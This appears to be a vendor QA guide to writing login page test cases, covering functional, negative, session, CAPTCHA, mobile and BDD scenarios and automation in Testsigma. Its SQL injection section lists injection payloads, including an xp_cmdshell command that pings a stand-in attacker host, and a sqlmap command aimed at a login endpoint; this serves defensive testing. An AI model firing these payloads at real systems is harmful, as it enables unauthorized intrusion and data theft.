How to Write Test Cases for Login Page?

What Are Login Page Test Cases?

Login page test cases are structured testing scenarios that validate whether an application’s authentication mechanism correctly handles every credential combination, access scenario, error state, and security threat. The login page is the most attacked surface in any web or mobile application, making thorough, multi-layered testing non-negotiable.

Each login test case should define a unique ID, precondition, test steps, expected result, and actual result. Test cases fall into six primary categories:

• Functional: Does the login work as designed?
• Security: Can it be bypassed, injected, or brute-forced?
• UI/Design: Does it look and behave correctly across devices?
• Performance: Does it hold up under concurrent user load?
• Session management: Are sessions created, maintained, and terminated correctly?
• Mobile-specific: Does it work correctly on smartphones and tablets?

What Are the Positive Functional Test Cases for Login Page?

Positive functional test cases confirm the login page works correctly under expected, valid conditions:

#	Test Case	Precondition	Expected Result
1	Login with valid username and password	User account exists and is active	User redirected to dashboard; session token created
2	Login with valid email as username	Account uses email as primary identifier	Successful login; correct user profile loaded
3	Login with case-insensitive credentials	Username: ‘User@Example.com’ vs ‘user@example.com’	Both accepted; login successful
4	Login with minimum allowed character length	Username: 3 chars, Password: 8 chars (per policy)	Accepted; login successful
5	Login with maximum allowed character length	Username: 50 chars, Password: 128 chars	Accepted without truncation; login successful
6	Login with special characters in password	Password contains: @#$%^&*!	Accepted; login successful
7	Login after password reset	User has completed password reset flow	New credentials accepted; old credentials rejected
8	Login with ‘Remember Me’ selected	Checkbox ticked before submit	Session persists after browser restart
9	Login from multiple devices simultaneously	Same account accessed on two devices	Both sessions active; no forced logout
10	Login via Google/SSO (Social Login)	OAuth integration configured	User authenticated via provider; redirected to app
11	Login with MFA enabled (OTP/authenticator app)	MFA configured for user account	Credentials accepted; OTP prompt shown; access granted on correct OTP
12	Login redirects to originally requested page	User tried to access /dashboard before login	After login, redirected to /dashboard not generic homepage
13	Login with biometric authentication (mobile)	Device supports fingerprint/Face ID	Biometric prompt shown; successful auth grants access
14	Login page loads over HTTPS	Server configured with SSL/TLS	URL shows https://; no mixed content warnings

What Are the Negative Functional Test Cases for Login Page?

Negative functional test cases confirm the login page correctly rejects invalid, unauthorized, or malformed inputs:

#	Test Case	Input / Condition	Expected Result
1	Login with incorrect password	Valid username + wrong password	Error: ‘Invalid username or password’
2	Login with non-existent username	Username not in database	Error: ‘Invalid username or password’ (no account enumeration)
3	Login with blank username field	Empty username submitted	Error: ‘Username is required’
4	Login with blank password field	Empty password submitted	Error: ‘Password is required’
5	Login with both fields empty	Submit with no input	Validation errors on both fields
6	Login with expired account	Account past expiration date	Error: ‘Account expired contact support’
7	Login with deactivated account	Account disabled by admin	Error: ‘Account is deactivated’
8	Login with account pending approval	Account not yet approved	Error: ‘Account pending approval’
9	Login with case-sensitive password (wrong case)	Password: ‘Password1’ entered as ‘password1’	Rejected passwords are case-sensitive
10	Login with SQL injection payload in username	Username: ‘ OR ‘1’=’1	Input sanitised; login rejected; no database error exposed
11	Exceeding maximum failed login attempts (brute-force)	5 consecutive wrong passwords	Account locked for defined period (e.g., 30 min); lockout notification shown
12	Login with expired session token	Token older than session timeout	Session invalidated; user redirected to login page
13	Login over HTTP (no SSL)	URL: http:// instead of https://	Redirected to HTTPS or blocked with error
14	Login with copy-pasted password containing hidden spaces	Password includes leading/trailing spaces	Trimmed and validated OR clearly rejected with guidance

What Are the Non-Functional Test Cases for Login Page?

Category	Test Case	Expected Result
Security (+)	HTTPS enforced all login traffic encrypted	SSL/TLS handshake confirmed; certificate valid
Security (+)	Session timeout after inactivity (e.g., 15–30 min)	User auto-logged out; redirected to login
Security (+)	Account lockout after N failed attempts	Lockout triggered at threshold; countdown shown
Security (+)	CAPTCHA appears after failed attempt threshold	CAPTCHA required before next login attempt
Security (+)	Passwords stored as hashed + salted values	Database inspection confirms no plaintext storage
Security (+)	Password complexity enforced (min 8 chars, mix required)	Weak passwords rejected at creation; strong ones accepted
Security (-)	Absence of HTTPS data transmitted in plaintext	Security failure credentials interceptable
Security (-)	No session timeout session persists indefinitely	Security risk unauthorized access possible on shared devices
Security (-)	No account lockout after repeated failures	Brute-force vulnerability OWASP A07:2021
Security (-)	Password stored in plaintext	Critical security failure immediate remediation required
Security (-)	No MFA option available	Increased risk of credential-based attack
Performance	Login response time under 2 seconds (normal load)	< 2s response at P95 under standard traffic
Performance	Login handles 1,000 concurrent users without degradation	No timeouts or errors under concurrent load
Performance	Login performance stable over 1-hour soak test	No memory leaks or progressive slowdown
Performance	Login performance under simulated poor network (3G)	Graceful degradation; meaningful timeout message shown

What Are the UI Test Scenarios for Login Page?

UI Area	Test Case	Expected Result
Field Validation	Username and password fields visible and labelled	Labels ‘Email / Username’ and ‘Password’ clearly positioned
Field Validation	Password field masks input by default	Characters shown as dots/asterisks
Field Validation	Show/hide password toggle works	Toggle reveals/hides password text correctly
Field Validation	Tab order correct: Username → Password → Submit	Keyboard navigation follows logical form order
Error Messages	Error shown for invalid credentials	Specific, non-enumeration message: ‘Invalid username or password’
Error Messages	Error disappears when valid input is entered	Inline validation clears on correction
Error Messages	Character limit error shown for oversized input	Message: ‘Must be fewer than X characters’
Remember Me	Checkbox retains state on page reload	State preserved across page refresh
Remember Me	Credentials populated on return visit	Username pre-filled; password field focused
Remember Me	Sensitive data not exposed via browser autofill inspection	Stored credential not readable from DevTools
Forgot Password	‘Forgot Password’ link visible and functional	Link present below password field; click triggers reset flow
Forgot Password	Password reset email sent to registered address	Email received within 60 seconds with valid reset link
Forgot Password	Reset link expires after defined window (e.g., 1 hour)	Expired link shows: ‘This link has expired’
Responsiveness	Login page renders correctly on mobile (360px+)	No overflow, all elements tappable, virtual keyboard does not obscure fields
Responsiveness	Login page works in landscape and portrait orientations	Layout adapts to orientation change without breaking
Browser Compatibility	Login works on Chrome, Firefox, Safari, Edge	Consistent rendering and function across all four
Accessibility	Login page passes WCAG 2.1 AA contrast requirements	All text and field labels meet 4.5:1 contrast ratio

What Are the Session Management Test Cases for Login Page?

#	Test Case	Expected Result
1	Session created on successful login	Valid session token issued; stored securely (HttpOnly, Secure flags)
2	Session expires after inactivity timeout	User logged out automatically; redirected to login
3	Session destroyed on explicit logout	Token invalidated server-side; cannot be reused
4	‘Remember Me’ session persists after browser close	Session cookie with extended TTL survives browser restart
5	Session cookie is HttpOnly and Secure	Cookie not accessible via JavaScript; only sent over HTTPS
6	Concurrent sessions allowed per policy	Multiple active sessions permitted (or restricted) per configuration
7	Session invalidated after password change	All existing sessions terminated; re-login required
8	Old session token rejected after logout	Replaying old token returns 401 Unauthorized
9	CSRF token present on login form	Anti-CSRF token validated on form submission

What Are the CAPTCHA and Cookie Test Cases?

Category	Test Case	Expected Result
CAPTCHA	CAPTCHA present on login page after failed attempts	CAPTCHA challenge appears at defined failure threshold
CAPTCHA	CAPTCHA regenerates when refresh is clicked	New challenge generated; old challenge invalidated
CAPTCHA	Invalid CAPTCHA blocks login attempt	Login rejected; error shown; new CAPTCHA generated
CAPTCHA	Audio CAPTCHA alternative available (accessibility)	Audio option functional; correctly validated
CAPTCHA	CAPTCHA expires after reasonable inactivity period	Session shows fresh CAPTCHA on next attempt
Cookies	Login sets session cookie	Cookie created with correct domain, path, and flags
Cookies	Cookie valid across browser sessions (Remember Me)	Cookie persists between browser restarts within TTL
Cookies	Cookie deleted on logout	Set-Cookie header with past expiry sent on logout
Cookies	Cookie encrypted and not readable in plaintext	Value is opaque token not readable user data
Cookies	SameSite cookie attribute set correctly	SameSite=Lax or Strict to prevent CSRF attacks

How to Test SQL Injection on a Login Page?

SQL injection on a login page attempts to manipulate the database query behind credential validation. Per OWASP Top 10 (A03:2021), injection is one of the most critical web application risks. Use these structured test cases:

Injection Type	Payload Example	Expected Result (Secure App)
Boolean-based	‘ OR ‘1’=’1	Login rejected; no unauthorized access granted
Boolean-based	admin’–	Login rejected; SQL comment not executed
Error-based	‘ AND 1=CONVERT(int,’a’)–	Generic error shown; no database error details exposed
Time-based (blind)	‘; WAITFOR DELAY ‘0:0:5’–	No delay in response; injection not executed
Union-based	‘ UNION SELECT null, username, password FROM users–	No data returned; query sanitised
Out-of-band	‘; EXEC xp_cmdshell(‘ping attacker.com’)–	No outbound connection; payload blocked
Classic bypass	‘ or 1=1–	Login rejected; authentication not bypassed

Automated SQL injection testing tool: SQLMap can be run against the login form endpoint: sqlmap -u ‘https://app.com/login’ –data=’username=test&password=test’ –level=3 –risk=2. All findings should be retested manually to confirm exploitability.

BDD Test Cases for Login Page (Given-when-then)

BDD (Behavior-Driven Development) uses the Given-When-Then Gherkin syntax to write test cases that are readable by developers, QA, and business stakeholders alike:

Scenario	Given	When	Then
Successful login	Valid credentials exist	User submits correct username + password	User redirected to dashboard; session token active
Incorrect password	User account exists	User submits wrong password	Error shown: ‘Invalid username or password’; no account details exposed
Account lockout	User has failed 4 previous attempts	User submits wrong password a 5th time	Account locked for 30 minutes; lockout message shown with recovery option
MFA flow	User has MFA enabled; valid credentials entered	User submits credentials and clicks Login	OTP/authenticator prompt shown; access granted only on correct code
Forgot password	User clicks ‘Forgot Password’	User submits their registered email	Reset email sent within 60s; reset link expires in 1 hour
SSO login	SSO/OAuth integration is configured	User clicks ‘Sign in with Google/SSO’	Redirected to identity provider; on success, returned to app with active session
Session timeout	User authenticated; idle for 30 minutes	Session timeout triggers	User logged out; redirected to login with ‘Session expired’ message
Remember Me	User ticks ‘Remember Me’ and logs in	User closes and reopens browser	User remains logged in; session persists without re-authentication

What Are the Login Page Test Cases for Mobile Applications?

#	Test Case	Expected Result
1	Login page renders correctly on iOS and Android (320px–428px)	No overflow; all elements tap-friendly (min 44x44px)
2	Login works in portrait and landscape orientation	Layout adapts; no elements obscured
3	Virtual keyboard does not obscure password field	Page scrolls or field shifts above keyboard
4	Login works with biometric authentication (fingerprint, Face ID)	Biometric prompt shown; success grants access
5	Login with OTP/MFA on mobile	OTP auto-fills from SMS on supported devices
6	Login attempted while offline	Error: ‘No internet connection’; retry option shown
7	Login page loads on 3G/4G/5G network	Page loads within 3 seconds on 4G; timeout handled on 2G
8	Login on low-end device with limited RAM	No crash; UI responsive; login completes
9	Battery drain during login is minimal	Login does not trigger excessive background processes
10	Login works on latest OS versions (iOS 17+, Android 14+)	No compatibility issues on current OS versions

How to Automate Login Page Test Cases Using Testsigma

Testsigma automates the complete login test suite including functional, security, and cross-browser scenarios using NLP test steps. No coding required. Here is the step-by-step workflow:

• 1. Create a new test case in Testsigma and navigate to your login page URL.
• 2. Use NLP step: ‘Enter [username] in the Username field’ Testsigma auto-locates the element via its AI-powered element inspector.
• 3. Add NLP step: ‘Enter [password] in the Password field’.
• 4. Add NLP step: ‘Click the Login button’.
• 5. Add assertion: ‘Verify that the current URL contains /dashboard’ confirms successful redirect.
• 6. Create a Test Data Profile with multiple rows: valid credentials, invalid password, blank fields, SQL injection payloads all injected as parameters into the same test.
• 7. Add conditional assertions for each data row: valid rows assert success; invalid rows assert the correct error message text.
• 8. Use Testsigma’s Atto AI agent to generate additional edge-case test steps from the login page DOM automatically.
• 9. Configure a Test Plan targeting Chrome, Firefox, Safari, and Edge run in parallel.
• 10. Review the AI-generated failure report: Atto flags broken elements, mismatched assertions, and security deviations automatically.

Example Automated Login Test Flow

Step	NLP Action	Test Data	Expected Outcome
1	Navigate to login URL	https://app.example.com/login	Login page loads
2	Enter username	user@domain.com	Username field populated
3	Enter password	ValidPass@123	Password masked in field
4	Click Login button	–	Form submitted
5	Assert URL contains /dashboard	–	Redirect confirmed
6	Re-run with invalid password	WrongPass123	Error message shown
7	Re-run with SQL injection payload	‘ OR ‘1’=’1	Input rejected; no bypass
8	Re-run with blank fields	(empty)	Required field errors shown
9	Assert session cookie exists	–	Cookie with HttpOnly + Secure flags present

Tips for Writing Better Login Page Test Cases

Tip	Detail
Focus on one function per test case	Isolates failures for easy reproduction and debugging
Always include preconditions	Specify account state, session state, and environment before steps
Cover both positive and negative paths	50% of defects hide in edge cases and failure paths
Prioritize security test cases	Login pages are the #1 attack surface SQL injection and brute-force must be covered first
Automate repetitive scenarios	Regression tests for valid login, lockout, and session expiry are ideal automation candidates
Use meaningful test case names	e.g., ‘TC_LOGIN_NEG_005 Verify lockout after 5 failed attempts’
Update tests when the UI changes	Login UI changes (new SSO button, field rename) break tests maintain with auto-healing
Test across all browsers and devices	Login bugs are often browser or OS-specific
Document expected results explicitly	‘Error message shown’ is not enough specify exact error text
Include accessibility checks	WCAG 2.1 compliance: contrast ratio, keyboard navigation, screen reader labels

Frequently Asked Questions